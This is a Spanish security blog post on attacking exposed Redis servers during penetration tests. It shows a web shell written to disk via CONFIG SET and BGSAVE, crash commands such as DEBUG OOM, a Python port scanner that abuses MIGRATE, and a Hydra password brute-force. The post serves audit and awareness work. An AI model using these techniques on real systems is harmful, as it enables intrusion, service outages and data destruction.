Como vimos en la entrada anterior redis está diseñado para trabajar en redes de confianza, que es exactamente lo mismo que decir que no han aplicado medidas de seguridad en cuanto a la definición de accesos y roles o protecciones para salvaguardar la confidencialidad e integridad de los datos que en este motor se almacenan.
Si leísteis el artículo anterior rápidamente conoceréis por dónde van los tiros a la hora de llevar a cabo una auditoría. Por el contrario, los escenarios de riesgo a los que se someterá la información son múltiples. A continuación unos cuantos ejemplos de lo que se podría llegar a hacer con uno de estos sistemas para que sirvan como casos de uso en un tests de intrusión.
0.- Acceso a los datos.
Este punto cero es obvio, pero si no existe autenticación (tal y como se comentaba en el artículo anterior, por defecto no se incluye el parámetro requirepass) se acceden a todos los datos con un "GET *" y otros comandos similares.
Es común usar redis para almacenar información sensible, como por ejemplo la sesión de una página web, lo que este acceso abierto es crítico.
En el peor de los casos se puede llegar a ejecutar comandos en un servidor redis siempre y cuando se den varias condiciones y errores de configuración.
a) se debe tener acceso a algún comando para almacenar información, como por ejemplo SET. Esto significa que si el servidor requiere contraseña (tiene establecido requirepass) se debe conocer su valor.
b) también se debe poder invocar el comando CONFIG.
c) el usuario que ejecuta redis debe tener permisos de escritura en algún directorio del sistema al que se le pueda sacar provecho.
Un ejemplo, en un sistema con apache/php que dispone de un directorio dentro del Document Root (/var/www/cache/) en el que redis puede escribir.
Un ejemplo, en un sistema con apache/php que dispone de un directorio dentro del Document Root (/var/www/cache/) en el que redis puede escribir.
root@ubuntu:~# redis-cli -h 192.168.118.154 redis 192.168.118.154:6379> set b '<?php echo shell_exec($_GET["cmd"]." 2>&1"); ?>' OK redis 192.168.118.154:6379> config set dbfilename /var/www/config/test.php OK redis 192.168.118.154:6379> bgsave Background saving started
Si redis se ejecuta como root, se podrá escribir en cualquier parte, utilizar /var/spool/cron o cualquier otro método.
La página oficial de redis ya avisa sobre este problema.
This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running.
2.- Denegación de servicio
Tan sencillo como invocar a alguno de los comandos que paran o "crashean" el servicio. Una característica que si se invoca por una persona no autorizada se convierte en una denegación de servicio.
Comandos como SHUTDOWN o DEBUG SEGFAULT paran el servicio. El primero de forma normal y el segundo generando un error segmentación para poder analizarlo.
Existen otras funciones que hacen caer el servicio y no están documentadas (más allá del código fuente), como DEBUG OOM que genera un Out Of Memory.
root@ubuntu:/var/www/cache# telnet localhost 6379
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
DEBUG OOM
Connection closed by foreign host.
root@ubuntu:/var/www/cache# telnet localhost 6379
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
3.- Análisis de puertos.
La base de datos permite migrar una clave/valor de un sistema a otro mediante el comando MIGRATE. Este mismo comando se puede usar para analizar puertos, por ejemplo, de otros sistemas de la red local o máquinas remotas, ya que la respuesta ante un puerto cerrado y uno abierto es distinta.
aramosf@ubuntu:/tmp$ telnet localhost 6379 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. SET a jeje +OK MIGRATE 127.0.0.1 21 a 1 1 -IOERR error or timeout writing to target instance MIGRATE 127.0.0.1 22 a 1 1 -IOERR error or timeout reading from target node
Con una pequeña ayuda se automatiza el proceso.
#!/usr/bin/python # Thu Feb 13 16:55:32 UTC 2014 <aramosf @ unsec.net> # # Scan a host using redis server. # Using MIGRATE response: # # MIGRATE 127.0.0.1 21 a 1 1 #-IOERR error or timeout writing to target instance # <-- close="" font=""> # MIGRATE 127.0.0.1 22 a 1 1 #-IOERR error or timeout reading from target node # <-- font="" open=""> import socket import sys import string if len(sys.argv) < 4: print sys.argv[0] + "<redis IP> <redis PORT> <IP to scan>" sys.exit() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error: print 'Failed' sys.exit() host = sys.argv[1]; port = int(sys.argv[2]); toscan = sys.argv[3]; readbuffer="" s.connect((host, port)) message = "set a1 1\r\n" try : s.sendall(message) except socket.error: print 'Failed' sys.exit() reply = s.recv(50) for p in range(1, 65535): message = "MIGRATE " + toscan + " " + str(p) + " a1 1 3000\r\n"; try : s.sendall(message) except socket.error: print 'Failed' sys.exit() readbuffer=readbuffer+s.recv(1024) temp=string.split(readbuffer, "\n") readbuffer=temp.pop( ) for line in temp: line=string.rstrip(line) if not "writing" in line: print str(p) + " open" if "OK" in line: message = "set a1 1\r\n" s.sendall(message) reply=s.recv(10) s.close() -->-->
4.- Borrado completo de datos.
Los comandos FLUSHDB, FLUSHALL o DEL, incluso los del tipo SET permiten eliminar o sobreescribir cualquier clave de la base de datos, esto se vuelve especialmente peligroso si no existe ningún tipo de control de acceso.
El sistema de autenticación es muy sencillo y tras lo que hemos visto anteriormente, prácticamente imprescindible. En caso de que os encontréis con uno de estos servidores se puede usar este módulo que he desarrollado para THC-Hydra (por lo que me comento vh, lo añadirán en la 7.7). La base de datos no dispone de ningún tipo de protección o bloqueo.
Tal y como ellos mismos documentan:
Tal y como ellos mismos documentan:
Note: because of the high performance nature of Redis, it is possible to try a lot of passwords in parallel in very short time, so make sure to generate a strong and very long password so that this attack is infeasible.
[aramosf@digitalsec hydra-7.6-redis]# ./hydra -v -P pass redis://127.0.0.1 Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-02-10 16:58:06 [DATA] 16 tasks, 1 server, 18 login tries (l:1/p:18), ~1 try per task [DATA] attacking service redis on port 6379 [VERBOSE] Resolving addresses ... done [VERBOSE] Authentication failed for password 13 [VERBOSE] Authentication failed for password 12 [VERBOSE] Authentication failed for password 6 [VERBOSE] Authentication failed for password 14 [6379][redis] host: 127.0.0.1 login: password: Zurrupia [VERBOSE] Authentication failed for password 4 [VERBOSE] Authentication failed for password 9 [VERBOSE] Authentication failed for password 2 [STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
Pese a los comentarios en el artículo de AUTH, estoy convencido que pronto integrarán alguna protección.
6.- Escuchar tráfico.
Como ya conocemos, redis no cifra ningún dato, ni siquiera hace un simple hash de la contraseña, por lo que si alguien consigue acceso a la red y levanta un sniffer, podrá obtener toda la información, incluida la credencial de acceso.
2 comments :
Tenías toda la razón! :D Veo que hay que tener bastante cuidado con la implantación de este software. Así que, lo tendré en cuenta.
Un saludo!!
Menudo pack! Eso si, me encanta lo de cubrirse las espaldas con las "redes de confianza" xD
Un post genial! :)
Publicar un comentario